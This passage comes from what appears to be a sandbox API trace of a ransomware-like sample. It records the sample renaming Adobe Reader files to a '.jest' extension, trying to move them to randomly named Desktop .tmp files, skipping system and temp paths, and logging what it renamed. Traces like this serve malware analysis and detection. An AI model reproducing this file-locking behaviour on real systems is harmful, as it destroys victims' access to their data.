lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Faces.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\faces.pdf.jest")) returned 1 [0152.269] GetLastError () returned 0x0 [0152.270] VarBstrFromR4 (in: fltIn=0x479450fb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.96") returned 0x0 [0152.271] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\faces.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H4v8KfLXwZCQTdw-OlWmRlMEh15Of_RBFKFXbqGIYRyKEeln7mpy40zxrx-QCX4RQrohd8vnUXbeYP2-hoxc1TyhZv0efCdYbrt7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h4v8kflxwzcqtdw-olwmrlmeh15of_rbfkfxbqgiyrykeeln7mpy40zxrx-qcx4rqrohd8vnuxbeyp2-hoxc1tyhzv0efcdybrt7.tmp")) returned 0 [0152.271] GetLastError () returned 0x2 [0152.271] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Pointers.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\pointers.pdf.jest")) returned 1 [0152.274] GetLastError () returned 0x0 [0152.275] VarBstrFromR4 (in: fltIn=0x479450fb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.96") returned 0x0 [0152.276] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\pointers.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uf-kh7kEUkOeqgnOaJXbkVv_2JLQYtEG4jfdQFeHCVfhGY18-Bq9MGCuFKbVzyqYb6WCtzS8Fv-IwMW6le7w8cfIp 7RWfz4qK7f.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uf-kh7keukoeqgnoajxbkvv_2jlqyteg4jfdqfehcvfhgy18-bq9mgcufkbvzyqyb6wctzs8fv-iwmw6le7w8cfip 7rwfz4qk7f.tmp")) returned 0 [0152.276] GetLastError () returned 0x2 [0152.276] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Standard.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standard.pdf.jest")) returned 1 [0152.277] GetLastError () returned 0x0 [0152.278] VarBstrFromR4 (in: fltIn=0x479450fb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.96") returned 0x0 [0152.279] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standard.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O_mc0Sw- 9Qg4dBB3FovOzYXD0vljFDug7I54eNKC1Yp7CtmnI3YZ4DFJ6wFLEBom vcR2NFNbFDO3elmX29mRwv4d1JUoie5dMZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o_mc0sw- 9qg4dbb3fovozyxd0vljfdug7i54enkc1yp7ctmni3yz4dfj6wflebom vcr2nfnbfdo3elmx29mrwv4d1juoie5dmz.tmp")) returned 0 [0152.279] GetLastError () returned 0x2 [0152.279] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standardbusiness.pdf.jest")) returned 1 [0152.281] GetLastError () returned 0x0 [0152.281] VarBstrFromR4 (in: fltIn=0x479450fd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.98") returned 0x0 [0152.282] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sI12ewofdeKUuZ6vVgZcey5eCGV5OZ-hfJ3xps3mWlA0206U8LH5rfr8qxqvq1 nKRvueYcdaTPIKskCVAuXUgR4XivfeUCReaBw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\si12ewofdekuuz6vvgzcey5ecgv5oz-hfj3xps3mwla0206u8lh5rfr8qxqvq1 nkrvueycdatpikskcvauxugr4xivfeucreabw.tmp")) returned 0 [0152.282] GetLastError () returned 0x2 [0152.283] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\dynamic.pdf.jest")) returned 1 [0152.284] GetLastError () returned 0x0 [0152.284] VarBstrFromR4 (in: fltIn=0x479450fd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.98") returned 0x0 [0152.285] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4gT0wk6L7HZEmLxcYFW3frCAhtJmDRbMzGw9TK6zmyXdi8LhELop-11YMCkgSkvzlUyY3YrcYeytr10LhEzzsbhy3K4ztXR4yuZl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4gt0wk6l7hzemlxcyfw3frcahtjmdrbmzgw9tk6zmyxdi8lhelop-11ymckgskvzluyy3yrcyeytr10lhezzsbhy3k4ztxr4yuzl.tmp")) returned 0 [0152.285] GetLastError () returned 0x2 [0152.286] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf.jest")) returned 1 [0152.287] GetLastError () returned 0x0 [0152.287] VarBstrFromR4 (in: fltIn=0x479450fd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.98") returned 0x0 [0152.288] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9BxY4Qwf -q4t3oBhRzFYkXr6ALy9E77mvCHLqD5ZwuHYZEE4JC3lKp_TSXWOog8Tmu_xHPbZ8IHHohRtojA83vJCJkCMN7H8ZX4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9bxy4qwf -q4t3obhrzfykxr6aly9e77mvchlqd5zwuhyzee4jc3lkp_tsxwoog8tmu_xhpbz8ihhohrtoja83vjcjkcmn7h8zx4.tmp")) returned 0 [0152.288] GetLastError () returned 0x2 [0152.289] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\signhere.pdf.jest")) returned 1 [0152.290] GetLastError () returned 0x0 [0152.290] VarBstrFromR4 (in: fltIn=0x479450fd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.98") returned 0x0 [0152.291] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SKnEXZNhgoPeFYlRIz bPOJbbBcwi5-RvVqkGi9WIEXbnP9dGJujkfzqgqVr4tHYDDn3Fd4Y_DjdRY9kr_hMJTGzTMYSU86dwMoIZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sknexznhgopefylriz bpojbbbcwi5-rvvqkgi9wiexbnp9dgjujkfzqgqvr4thyddn3fd4y_djdry9kr_hmjtgztmysu86dwmoiz.tmp")) returned 0 [0152.291] GetLastError () returned 0x2 [0156.070] GetLastError () returned 0x0 [0156.070] GetLastError () returned 0x0 [0156.070] GetLastError () returned 0x0 [0156.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb7a, cbMultiByte=1, lpWideCharStr=0x18eb68, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0156.073] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0156.073] NtQueryInformationFile (in: FileHandle=0x150, IoStatusBlock=0x18eb08, FileInformation=0x5640048, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x5640048) returned 0x0 [0156.074] GetLastError () returned 0x0 [0156.074] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0156.074] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm") returned 0x37 [0156.074] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.075] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm") returned 0x37 [0156.075] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.075] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm") returned 0x37 [0156.075] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.075] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm") returned 0x37 [0156.075] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.075] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm") returned 0x37 [0156.075] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.075] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm") returned 0x37 [0156.075] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.076] IMalloc:Alloc (This=0x767666bc, cb=0x7a) returned 0x14618d8 [0156.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm.jest\r\n", cchWideChar=61, lpMultiByteStr=0x14618d8, cbMultiByte=122, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm.jest\r\n", lpUsedDefaultChar=0x0) returned 61 [0156.076] WriteFile (in: hFile=0x2e0, lpBuffer=0x14618d8*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x14618d8*, lpNumberOfBytesWritten=0x18e6a4*=0x3d, lpOverlapped=0x0) returned 1 [0156.076] IMalloc:Free (This=0x767666bc, pv=0x14618d8) [0156.078] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm.jest")) returned 1 [0156.080] GetLastError () returned 0x0 [0156.081] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0156.081] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x29, wMilliseconds=0x2fe)) [0156.082] VarBstrFromR4 (in: fltIn=0x479452e2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.77") returned 0x0 [0156.082] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0156.082] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea28 | out: ppsaOut=0x18ea28) returned 0x0 [0156.082] GetUserDefaultLCID () returned 0x409 [0156.083] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0156.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.083] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.084] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.084] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.084] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.084] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.084] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.084] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.084] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.084] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.085] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.085] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.085] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.085] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.085] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.085] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.085] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.085] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.086] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.086] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.086] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.086] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.086] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.086] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.086] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.086] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.087] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.087] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.087] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.087] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.087] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.087] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.087] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.087] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.087] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.088] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.088] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.088] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.088] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.088] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.088] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.088] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.088] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.089] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.089] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.089] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.089] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.089] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.089] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.089] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.089] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.090] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.090] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.090] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.090] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.090] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.090] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.090] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.090] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.090] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.091] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.091] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.091] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.091] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.091] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.091] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.091] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.091] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.092] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.092] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.092] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.092] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.092] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.092] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.092] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.092] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.092] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.093] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0156.093] VarCat (in: 